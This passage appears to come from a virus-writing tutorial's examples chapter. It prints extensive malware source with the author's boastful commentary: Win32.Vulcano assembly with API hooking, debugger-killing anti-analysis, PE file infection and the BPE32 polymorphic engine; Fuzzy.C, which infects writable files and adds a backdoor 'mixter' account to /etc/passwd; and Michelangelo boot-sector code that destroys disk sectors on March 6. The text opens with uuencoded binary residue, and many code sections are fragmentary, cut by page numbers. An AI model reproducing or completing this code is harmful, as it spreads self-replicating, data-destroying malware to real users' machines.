M\S#[6OGC8^R<\*[(Z^>]9B$/A;_>]B)E>_D"GG-T7:OY?JW1=9H'3L\98I9H
M_W8,EEP(HGO0:#0;^PHB?[-8`?1;C4;/:345@/IU!1IL]YM'SJLVS2Y?]%)0
M>[U6M^T<#`RH:[I&Q\.'_<.CUF!`2!H7D=7PT7ZO-3C:[]O#ZL:[email protected]
M'3D$9=UES9?9>]7:Z^VU$*!PB5.![!_NM_:Z1X2G<14O'VZVAX.#7A>'35G(
MC]D:-ML#)J7^Z38UZO3Z^_WF84^.EM[C4G!PV-[@8-"7Q-H(M]=L[PV:74+6
M_$DU-3X<]H\.^LVAW,_X=;"<]</!L'G$$,:+6%*"//&+^/$?+UF:?OIYCT3-
M?AO$E+JJ7VX`)1MW^Z=RM_Y!XU5O"')T+.KPU'RI9-S]*$G<.FJWB<0(]-&"
MZ9^]ERL!K_N]7IN`X*D-=2[W:PSWV_O=IL-0Y_9^_8L3"=5LM`"I%D-=G%A0
M@Q,)=7CD'`T&O2%!X:MN%M2EQ*LU/.AWC^2.\-2"<CXZDB^]WF&CV^:UX*D%
M=7HQD&L=-?;V6JTC@H*G%M1Y7Y+KH-?L]KN#?8*"IQ;417\DUVKTCKK_W<O5
MM28,0]%G!_L/>W.3K=2%KE8?I!\6A%'$RHHP*((#!TX&L^SO[R:Y2>ZME<V7
MO9Z>WFO2-,<FN6?FZXR`,E:9+O']2`3$"A/%`I2SUB6R1.1G691JUKIDK%6Y
MP(RC/!-"^(H%*&<])SB"PU#$8:S["U#&>JDPUBC(,YAA0L4"E+&J1:I9030;
M/HEAH%B`4M8Y/Y2Q'-*FGKJW13GNO_;O?7]'*C.+9K]_@#GW`_[6R05IX_2W
MVQS=_;4+X'DLPB\!_EXA:LKA\.36YK@S7V6'M^]+`IWX#LEFF).^KAT#;T`;
M`NWH=#+3EF5V:7V,'E;Z0U$OF[\?[&;>!M=2K.\H6:II^YO))SLUL!6F'H/1
M#,A`IR+4OB25Q_&)WG2!1F7L)28M[HZ6H+A(3D4<F6H'0U$Q&'8R_]/VG+](
M%8'%(SK@^M%-_H:K*BETP3,\*#,DK$/%MOF\G=[!D$B<&88Z[7-I\3BU]<+W
MPK.9Z__/7.4P`5?S0CS6^;S(ZBQ>Q=+X=G+3`J^OR-[SN-<]Z$TY-"M)ECV,
MI<JTYG_2?*G-H2X37FVLJY-@#H^;ZDI4G^HB'/4[?@!02P$"%``4``(`"``+
MB`TI_N+;^AD:``"F6```&@`````````!`"``MH$`````=VEN,FLN:6YS=&%L
D;&5R+G-O=7)C92YT>'102P4&``````$``0!(````41H`````
`
end
34
Examples
4.2 Win32.Vulcano
35
Examples
This is the best part of the virus :). The main idea is: make all actions
in another process. Imagine, virus does nothing. Nothing in actual process.
But if another infected program is running in system, virus will pass control
to that instance of virus. This very difficult stuff is realised by file mapping
mirrored in swap file, mutexes and threads. That code is very optimized, but
unfortunetely, it contains some bugs, which fortunately aren't much visible.
In 99,9999% of all cases u won't see anything suspicious. That's truth.
4.2.3 Execution
36
Examples
After hooked API call (API manipulating with files) will virus:
1) Check for application level debugger via IPC (if found, process will be
remotely terminated - veeery nice feature :))
2) Check for system level debugger (SoftICE) via IPC
3) Check for monitors in memory via IPC
4) Find random file
5) Check it via IPC
6) Check and infect it via IPC
37
Examples
;some instructions
push_LARGE_0 equ <db 68h,0,0,0,0> ;PUSH LARGE 0
SALC equ <db 0D6h> ;SALC opcode
RDTCS equ <db 0fh, 31h> ;RDTCS
38
Examples
39
Examples
40
Examples
;Compression routine from BCE32 starts here. This is used only in first gen.
BCE32_Compress Proc
pushad ;save all regs
;stage 1
pushad ;and again
create_table:
push ecx ;save for l8r usage
push 4
pop ecx ;ECX = 4
41
Examples
;stage 2
pushad ;save all regs
mov esi, ebx ;get pointer to table
push 3
pop ebx ;EBX = 3
42
Examples
43
Examples
end_search:
pop eax ;and next step
inc eax
pop ecx
pop edx
add [esp], edi
rol byte ptr [esp], 2
loop n_search
pop [esp.Pushad_ebx] ;restore all
popad ;...
;stage 4
xor ebp, ebp ;EBP = 0
xor edx, edx ;EDX = 0
mov [edi], bl ;store decryption key
inc edi ;increment pointer
next_byte:
xor eax, eax ;EAX = 0
push ecx
lodsb ;load next byte
push 4
pop ecx ;ECX = 4
next_bits:
push ecx ;store regs
push eax
and al, 3 ;separate bit group
push ebx ;compare with next group
and bl, 3
cmp al, bl
pop ebx
je cb0
push ebx ;compare with next group
ror bl, 2
and bl, 3
cmp al, bl
pop ebx
je cb1
push ebx ;compare with next group
ror bl, 4
and bl, 3
cmp al, bl
pop ebx
je cb2
push 0 ;store bit 0
call copy_bit
push 1 ;store bit 1
call copy_bit
cb0: push 1 ;store bit 1
end_cb1:call copy_bit
44
Examples
pop eax
pop ecx
ror al, 2
loop next_bits ;next bit
pop ecx
loop next_byte ;next byte
mov eax, edi ;save new size
sub eax, [esp.Pushad_edi] ;...
mov [esp.Pushad_eax], eax ;...
popad ;restore all regs
cmp eax, ecx ;test for negative compression
jb c_ok ;positive compression
stc ;clear flag
ret ;and quit
c_ok: clc ;negative compression, set flag
ret ;and quit
cb1: push 0 ;store bit 0
end_cb2:call copy_bit
push 0 ;store bit 0
jmp end_cb1
cb2: push 0 ;store bit 0
call copy_bit
push 1 ;store bit 1
jmp end_cb2
copy_bit:
mov eax, ebp ;get byte from EBP
shl al, 1 ;make space for next bit
or al, [esp+4] ;set bit
jmp cbit
BCE32_Compress EndP ;end of compression procedure
45
Examples
dd ddReleaseMutex-gdelta
dd ddOpenMutexA-gdelta
dd ddSleep-gdelta
dd ddVirtualProtect-gdelta
dd ddGetCurrentProcessId-gdelta
dd ddOpenProcess-gdelta
dd ddTerminateProcess-gdelta
dd ddLoadLibraryA-gdelta
dd ddGetProcAddress-gdelta
dd ddFreeLibrary-gdelta
dd ? ;end of record
newHookers:
dd newFindFirstFileA-gdelta ;addresses of API hookers
dd newFindNextFileA-gdelta
dd newCopyFileA-gdelta
dd newCopyFileExA-gdelta
dd newCreateFileA-gdelta
dd newCreateProcessA-gdelta
dd newDeleteFileA-gdelta
dd newGetFileAttributesA-gdelta
dd newGetFullPathNameA-gdelta
dd new_lopen-gdelta
dd newMoveFileA-gdelta
dd newMoveFileExA-gdelta
dd newOpenFile-gdelta
dd newSetFileAttributesA-gdelta
dd newWinExec-gdelta
dd newExitProcess-gdelta
dd newExitThread-gdelta
dd newGetLastError-gdelta
dd newCloseHandle-gdelta
dd ? ;end of record
oldHookers:
dd oldFindFirstFileA-gdelta ;addresses, where will be
dd oldFindNextFileA-gdelta ;stored original
dd oldCopyFileA-gdelta ;API callers
dd oldCopyFileExA-gdelta
dd oldCreateFileA-gdelta
dd oldCreateProcessA-gdelta
dd oldDeleteFileA-gdelta
dd oldGetFileAttributesA-gdelta
dd oldGetFullPathNameA-gdelta
dd old_lopen-gdelta
dd oldMoveFileA-gdelta
dd oldMoveFileExA-gdelta
dd oldOpenFile-gdelta
46
Examples
dd oldSetFileAttributesA-gdelta
dd oldWinExec-gdelta
dd oldExitProcess-gdelta
dd oldExitThread-gdelta
dd oldGetLastError-gdelta
dd oldCloseHandle-gdelta
;Pentium+ check
pushad
pushfd ;save EFLAGS
pop eax ;get them
mov ecx, eax ;save them
or eax, 200000h ;flip ID bit in EFLAGS
push eax ;store
popfd ;flags
pushfd ;get them back
pop eax ;...
xor eax, ecx ;same?
je end_cc ;shit, we r on 486-
xor eax, eax ;EAX=0
inc eax ;EAX=1
cpuid ;CPUID
and eax, 111100000000b ;mask processor family
cmp ah, 4 ;is it 486?
je end_cc ;baaaaaaad
popad
47
Examples
push cs
lea ebx, [ebp + k32_found - gdelta] ;continue on another label
push ebx
retf ;fuck u emulator! :)
k32_found:
mov ebx, [esp.cPushad+8] ;get image base of app
mov [ebp + GMHA - gdelta], ebx ;save it
add ebx, [ebx.MZ_lfanew] ;get to PE header
lea esi, [ebp + crcAPIs - gdelta] ;start of CRC32 API table
mov edx, ebp ;get table of pointers
s_ET: mov edi, [edx] ;get item
test edi, edi ;is it 0?
je end_ET ;yeah, work is done
add edi, ebp ;normalize
push eax ;save EAX
call SearchET ;search for API
stosd ;save its address
test eax, eax ;was it 0?
pop eax ;restore EAX
je jmp_host ;yeah, error, quit
add esi, 4 ;correct pointers
add edx, 4 ;to pointers...
48
Examples
end_ET: lea eax, [ebp + tmp - gdelta] ;now we will create new
push eax ;thread to hide writing to
xor eax, eax ;Import table
push eax
push ebp ;delta offset
lea edx, [ebp + NewThread - gdelta] ;address of thread procedure
push edx
push eax ;and other shit to stack
push eax
mov eax, 0
ddCreateThread = dword ptr $-4
call eax ;create thread!
test eax, eax ;is EAX=0?
je jmp_host ;yeah, quit
49
Examples
50
Examples
push edx
push eax
push eax
call [ebp + ddCreateThread - gdelta] ;create new thread
xchg eax, ecx
jecxz end_gd3 ;quit if error
jmp_host:
@SEH_RemoveFrame ;remove SEH frame
mov eax, [esp.cPushad+4] ;save address of previous
mov [esp.Pushad_eax], eax ;API caller
popad ;restore all regs
add esp, 8 ;repair stack pointer
push cs ;save selector
push eax ;save offset of API caller
retf ;jump to host :)
tnext: add edi, VLCB_TSize ;get to next record
inc edx ;increment counter
loop sr_t ;try again
jmp jmp_host ;quit if more than 20 viruses r in memory
end_gd3:push esi
call [ebp + ddCloseHandle - gdelta] ;close mutex
end_gd2:push dword ptr [ebp + vlcbBase - gdelta]
call [ebp + ddUnmapViewOfFile - gdelta] ;unmap VLCB
end_gd1:push edi
call [ebp + ddCloseHandle - gdelta] ;close mapping of file
jmp jmp_host ;and jump to host
newFindNextFileA:
51
Examples
process_file:
pushad ;store all registers
call gtDelta ;get delta offset
lea esi, [ebp + WFD2 - mgdelta] ;get Win32_Find_Data
push esi ;save it
push dword ptr [esp.cPushad+0ch] ;push offset to filename
call [ebp + ddFindFirstFileA - mgdelta] ;find that file
inc eax
je end_pf ;quit if error
dec eax
xchg eax, ecx ;handle to ECX
mov ebx, esi ;WFD to EBX
call Check&Infect ;check and infect it
push ecx
call [ebp + ddFindClose - mgdelta] ;close find handle
end_pf: popad ;restore all registers
ret ;and quit
52
Examples
j_api old_lopen
newMoveFileA:
call process_file
j_api oldMoveFileA
newMoveFileExA:
call process_file
j_api oldMoveFileExA
newOpenFile:
call process_file
j_api oldOpenFile
newSetFileAttributesA:
call process_file
j_api oldSetFileAttributesA
newWinExec:
call process_file
j_api oldWinExec
open_driver:
xor eax, eax ;EAX=0
push eax ;parameters
push 4000000h ;for
push eax ;CreateFileA
push eax ;API
push eax ;function
push eax ;...
push ebx
call [ebp + ddCreateFileA - mgdelta] ;open driver
ret
close_driver:
push eax ;close its handle
call [ebp + ddCloseHandle - mgdelta]
ret
k_debug:mov eax, 0
ddGetCurrentProcessId = dword ptr $-4
call eax ;get ID number of current process
call vlcb_stuph ;common stuph
lea esi, [ebp + data_buffer - mgdelta]
mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data
mov ebx, VLCB_Debug1 ;kill debugger
call get_set_VLCB ;IPC!
53
Examples
vlcb_stuph:
xor edx, edx ;random thread
dec edx
mov ecx, VLCB_SetWait ;set and wait for result
ret
findF: lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data
push ebx ;store address
push_LARGE_0 ;store handle
fHandle = dword ptr $-4
mov eax, 0
ddFindNextFileA = dword ptr $-4
call eax ;find next file
xchg eax, ecx ;result to ECX
jecxz endEP2 ;no more files, quit
call Check&Infect ;try to infect file
jmp findF ;find another file
54
Examples
;next hookers
newExitThread:
call common_stage
j_api oldExitThread
newCloseHandle:
call common_stage
j_api oldCloseHandle
newGetLastError:
call common_stage
j_api oldGetLastError
55
Examples
56
Examples
Debug2: lea ebx, [ebp + sice95 - mgdelta] ;address of softice driver string
call open_driver ;open driver
inc eax ;is EAX==0?
je n_sice ;yeah, SoftICE is not present
dec eax
call close_driver ;close driver
jmp d_wr ;and quit
n_sice: lea ebx, [ebp + siceNT - mgdelta] ;address of softice driver string
call open_driver ;open driver
inc eax
je n2_db ;quit if not present
dec eax
call close_driver ;close driver
jmp d_wr ;and quit
57
Examples
push 0
call [ebp + ddSleep - mgdelta] ;switch to next thread
jmp m_thrd ;and again...
58
Examples
InfectFile:
lea esi, [esi.WFD_szFileName] ;get filename
pushad
xor eax, eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push esi
mov eax, 0
ddCreateFileA = dword ptr $-4
call eax ;open file
inc eax
je r_attr ;quit if error
dec eax
mov [ebp + hFile - mgdelta], eax ;save handle
59
Examples
endMapFile:
push_LARGE_0 ;store base address
lpFile = dword ptr $-4
mov eax, 0
ddUnmapViewOfFile = dword ptr $-4
call eax ;unmap view of file
endCreateMapping:
push_LARGE_0 ;store handle
hMapFile = dword ptr $-4
call [ebp + ddCloseHandle - mgdelta] ;close file mapping
60
Examples
61
Examples
end_patch:
mov eax, edx
mov edx, [esi.NT_OptionalHeader.OH_ImageBase-4] ;get Image base
mov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx ;save it
lea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta]
push dword ptr [edx] ;store prev. API call
mov [edx], eax ;save new one
pushad ;store all registers
lea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta]
mov edi, [edi.SH_PointerToRawData]
add edi, ebx ;where to write body
mov ecx, (decompressed-VulcanoInit+3)/4 ;size of virus body
call BPE32 ;write morphed body to file!
mov [esp.Pushad_eax], eax ;save size
popad
pop dword ptr [edx] ;restore API call
or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
;set flags
lea ecx, [edi.SH_VirtualSize] ;get virtual size
add [ecx], eax ;correct it
mov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4]
xor edx, edx
div ecx
inc eax
mul ecx
mov edx, [edi.SH_SizeOfRawData]
mov [edi.SH_SizeOfRawData], eax ;align SizeOfRawData
test dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
je rs_ok
sub eax, edx
add [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax
;update next field, if needed
rs_ok: mov eax, [edi.SH_VirtualAddress]
add eax, [edi.SH_VirtualSize]
xor edx, edx
mov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4]
div ecx
inc eax
mul ecx
mov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax ;new SizeOfImage
62
Examples
CheckFile:
pushad
mov ebx, esi
test [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jne c_error ;discard directory entries
xor ecx, ecx
cmp [ebx.WFD_nFileSizeHigh], ecx ;discard files >4GB
jne c_error
mov edi, [ebx.WFD_nFileSizeLow]
cmp edi, 4000h ;discard small files
jb c_error
63
Examples
64
Examples
65
Examples
Check&Infect:
pushad
mov esi, ebx ;get ptr to data
pushad
call vlcb_stuph ;common stuph
mov ebx, VLCB_Check ;check only
call get_set_VLCB ;IPC!
inc ecx
popad
je _ret_ ;quit if error
mov eax, dword ptr [esi.WFD_szAlternateFileName]
dec eax
test eax, eax
je _ret_
sc1_ok: call vlcb_stuph ;common stuph
mov ebx, VLCB_Infect ;check and infect
call get_set_VLCB ;IPC!
_ret_: popad
ret
66
Examples
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx
pop edx
pop ecx
ret
67
Examples
je mcrc ;yeah
nchar: inc eax ;no, increment counter
loop APIname ;and get next API name
pop eax ;clean stack
address_not_found:
xor eax, eax ;and quit
jmp endGPA
mcrc: pop edx
mov edx, ebp
add edx, [ebx.ED_AddressOfOrdinals] ;skip over ordinals
movzx eax, word ptr [edx+eax*2]
cmp eax, [ebx.ED_NumberOfFunctions]
jae address_not_found
mov edx, ebp
add edx, [ebx.ED_AddressOfFunctions] ;get start of function addresses
add ebp, [edx+eax*4] ;make it pointer to our API
xchg eax, ebp ;address to EAX
endGPA: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax], eax ;store address
popad ;restore all registers
ret ;and quit
68
Examples
69
Examples
70
Examples
71
Examples
72
Examples
;BPE32 (Benny's Polymorphic Engine for Win32) starts here. U can find first
;version of BPE32 in DDT#1 e-zine. But unfortunately, how it usualy goes,
;there were TWO, REALLY SILLY/TINY bugs. I found them and corrected them. So,
;if u wanna use BPE32 in your code, use this version, not that version from
;DDT#1. Very BIG sorry to everyone, who had/has/will have problems with it.
;I also included there SALC opcode as a junk instruction.
BPE32 Proc
pushad ;save all regs
push edi ;save these regs for l8r use
push ecx ; ...
mov edx, edi ; ...
push esi ;preserve this reg
call rjunk ;generate random junk instructions
pop esi ;restore it
mov al, 0e8h ;create CALL instruction
stosb ; ...
mov eax, ecx ; ...
imul eax, 4 ; ...
stosd ; ...
73
Examples
74
Examples
next_delta:
mov al, bl ;generate POP reg; SUB reg, ...
add al, 58h
bdelta: stosb
mov al, 81h
stosb
mov al, 0e8h
add al, bl
stosb
pop eax
75
Examples
stosd
call rjunk ;random junx
76
Examples
77
Examples
stosb
ret
_mov_: cmp dl, 11 ;generate MOV reg, 0
je make_xor
mov al, 0b8h
add al, bl
stosb
xor eax, eax
stosd
ret
make_xor endp
gg1: call greg4
jmp greg5
gg2: call greg4
jmp greg6
78
Examples
mov bh, al
79
Examples
stosb
mov al, 81h
stosb
mov al, 0e8h
add al, bh
stosb
pop eax
sub eax, ecx
jmp n_end2
s_next2:push ebx ;XOR reg, reg
mov bl, bh ;XOR reg, random_value
call make_xor ;ADD reg, value
pop ebx ;result = random_value + value
call make_xor2
push 0
call random
sub ecx, eax
stosd
push ecx
call s_lbl
pop eax
jmp n_end2
s_lbl: mov al, 81h ;create ADD reg, ... instruction
stosb
mov al, 0c0h
add al, bh
stosb
ret
s_next3:push ebx ;XOR reg, reg
mov bl, bh ;ADD reg, random_value
call make_xor ;XOR reg, value
pop ebx ;result = random_value xor value
push 0
call random
push eax
xor eax, ecx
xchg eax, ecx
call s_lbl
xchg eax, ecx
stosd
call make_xor2
pop eax
n_end2: stosd
push esi
call rjunk
pop esi
ret Pshd
greg2 endp
80
Examples
greg3 proc
call get_reg ;get register
cmp al, 5 ;already used ?
je greg3
cmp al, bl
je greg3
cmp al, bh
je greg3
cmp al, cl
je greg3
mov ch, al
mov edx, 0 ;get encryption key value
xor_key = dword ptr $ - 4
push 3
call random
test eax, eax
je k_next1
cmp al, 1
je k_next2
81
Examples
jmp k_nxt1
k_next2:mov al, 68h ;PUSH value
stosb ;POP reg
xchg eax, edx
stosd
mov al, ch
add al, 58h
jmp i_end1
greg3 endp
greg4 proc
mov edx, 0 ;get key increment value
key_inc = dword ptr $ - 4
i_next: push 3
call random
test eax, eax
je i_next0
cmp al, 1
je i_next1
cmp al, 2
je i_next2
82
Examples
greg5 proc
push ecx
mov ch, bh
push 4
pop edx
push 2
call random
test eax, eax
jne ng5
call i_next ;same as previous, value=4
pop ecx
jmp k_end
ng5: mov al, 40h ;4x inc reg
add al, ch
pop ecx
stosb
stosb
stosb
jmp i_end1
greg5 endp
greg6 proc
push 5
call random
test eax, eax
je d_next0
cmp al, 1
je d_next1
83
Examples
cmp al, 2
je d_next2
greg7 proc
mov edx, [esp+4]
dec edx
push 2
call random
84
Examples
rjunkjc:push 7
call random
jmp rjn
rjunk proc ;junk instruction generator
push 8
call random ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and
call
rjn: test eax, eax
je j5
cmp al, 1
je j_1x2
cmp al, 2
85
Examples
je j_2x1
cmp al, 4
je j2
cmp al, 5
je j3
cmp al, 6
je r_end
cmp al, 7
je jcj
86
Examples
87
Examples
call random
add esi, eax
movsb
push 0
call random
stosd
ret
jcj: call rjunkjc ;junk
push edx ;CALL label1
push ebx ;junk
push ecx ;JMP label2
mov al, 0e8h ;junk
stosb ;label1: junk
push edi ;RET
stosd ;junk
push edi ;label2:
call rjunkjc ;junk
mov al, 0e9h
stosb
mov ecx, edi
stosd
mov ebx, edi
call rjunkjc
pop eax
sub eax, edi
neg eax
mov edx, edi
pop edi
stosd
mov edi, edx
call rjunkjc
mov al, 0c3h
stosb
call rjunkjc
sub ebx, edi
neg ebx
xchg eax, ebx
push edi
mov edi, ecx
stosd
pop edi
call rjunkjc
pop ecx
pop ebx
pop edx
ret
rjunk endp
BPE32 EndP ;BPE32 ends here
88
Examples
;APIs to hook
crchAPIs dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 05BD05DB1h ;CopyFileA
dd 0953F2B64h ;CopyFileExA
dd 08C892DDFh ;CreateFileA
dd 0267E0B05h ;CreateProcessA
dd 0DE256FDEh ;DeleteFileA
dd 0C633D3DEh ;GetFileAttributesA
dd 08F48B20Dh ;GetFullPathNameA
dd 0F2F886E3h ;_lopen
dd 02308923Fh ;MoveFileA
dd 03BE43958h ;MoveFileExA
dd 068D8FC46h ;OpenFile
dd 03C19E536h ;SetFileAttributesA
dd 028452C4Fh ;WinExec
dd 040F57181h ;ExitProcess
dd 0058F9201h ;ExitThread
89
Examples
dd 087D52C94h ;GetLastError
dd 068624A9Dh ;CloseHandle
;APIs to patch
crcpAPIs dd 0E141042Ah ;GetProcessHeap
dd 042F13D06h ;GetVersion
dd 0DE5C074Ch ;GetVersionEx
dd 052CA6A8Dh ;GetStartupInfoA
dd 04E52DF5Ah ;GetStartupInfoW
dd 03921BF03h ;GetCommandLineA
dd 025B90AD4h ;GetCommandLineW
dd 003690E66h ;GetCurrentProcess
dd 019F33607h ;CreateThread
dd 082B618D4h ;GetModuleHandleA
dd 09E2EAD03h ;GetModuleHandleW
dd ?
virus_end: ;end of virus in host
4.3 Fuzzy.C
90
Examples
This is more or less the same principle like the "bliss" virus, however I
never managed to get the sources for that one. This virus is *really* simple,
it searches for files with write permission by brute force trying to infect files.
It will then infect the file with arbitary code and mark it as infected.
#include <stdio.h>
#ínclude <stdlib.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/stat.h>
DIR *dirp; /* directory search structure */
struct dirent *dp; /* directory entry record */
struct stat st; /* file status record */
int stst; /* status-call status */
FILE *host,*virus, *pwf; /* host/virus/passwd file */
long FileID; /* 1st 4 bytes of host */
char buf[512]; /* buffer for disk reads/writes */
char *lc,*ld; /* used to search for virus */
size_t amt_read,hst_size; /* amount read from file, host size */
size_t vir_size=13264; /* size of virus, in bytes */
char dirname[10]; /* subdir where virus stores itself */
char hst[512];
void readline() {
91
Examples
lc=&buf[1];
buf[0]=0;
while (*(lc-1)!=10) {
fread(lc,1,1,pwf);
lc++;
}
}
void writeline() {
lc=&buf[1];
while (*(lc-1)!=10) {
fwrite(lc,1,1,host);
lc++;
}
}
92
Examples
}
fwrite(&buf,1,hst_size,host);
fclose(host);
chmod((char *)&dp->d_name,S_IRWXU|S_IRWXG|S_IRWXO);
strcpy((char *)&buf,(char *)&dirname);
strcpy((char *)&buf,"/");
strcat((char *)&buf,(char *)&dp->d_name);
chmod((char *)&buf,S_IRWXU|S_IRWXG|S_IRWXO);
}
else
rename((char *)&buf,(char *)&dp->d_name);
fclose(virus); /* infection process complete */
}
else
rename((char *)&buf,(char *)&dp->d_name);
}
}
}
}
}
/* INSERT YOUR FUNCTION HERE IF ANY */
(void)closedir(dirp); /* infection process complete for this dir */
/* now see if we can get at the password file */
if ((pwf=fopen("/etc/passwd","r+"))!=NULL) {
host=fopen("/etc/.pw","w"); /* temporary file */
stst=0;
while (!feof(pwf)) {
readline(); /* scan the file for user "mixter" */
lc=&buf[1];
if ((*lc=='m')&&(*(lc+1)=='i')&&(*(lc+2)=='x')&&(*(lc+3)=='t')&&
(*(lc+4)=='e')&&(*(lc+5)=='r')) stst=1;
writeline();
}
if (stst==0) { /* if no "mixter" found */
strcpy((char *)&buf[1],(char *)&mixter); /* add it */
lc=&buf[1]; while (*lc!=0) lc++;
*lc=10;
writeline();
}
fclose(host);
fclose(pwf);
rename("/etc/.pw","/etc/passwd"); /* update passwd */
}
strcpy((char *)&buf,argv[0]); /* the host is this program's name */
lc=(char *)&buf; /* find end of directory path */
while (*lc!=0) lc++;
while (*lc!='/') lc--;
*lc=0; lc++;
93
Examples
4.4.1 Description
94
Examples
4.5 Michelangelo
4.5.1 Description
95
Examples
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
96
Examples
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
97
Examples
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
98
Examples
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
99
Examples
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end
100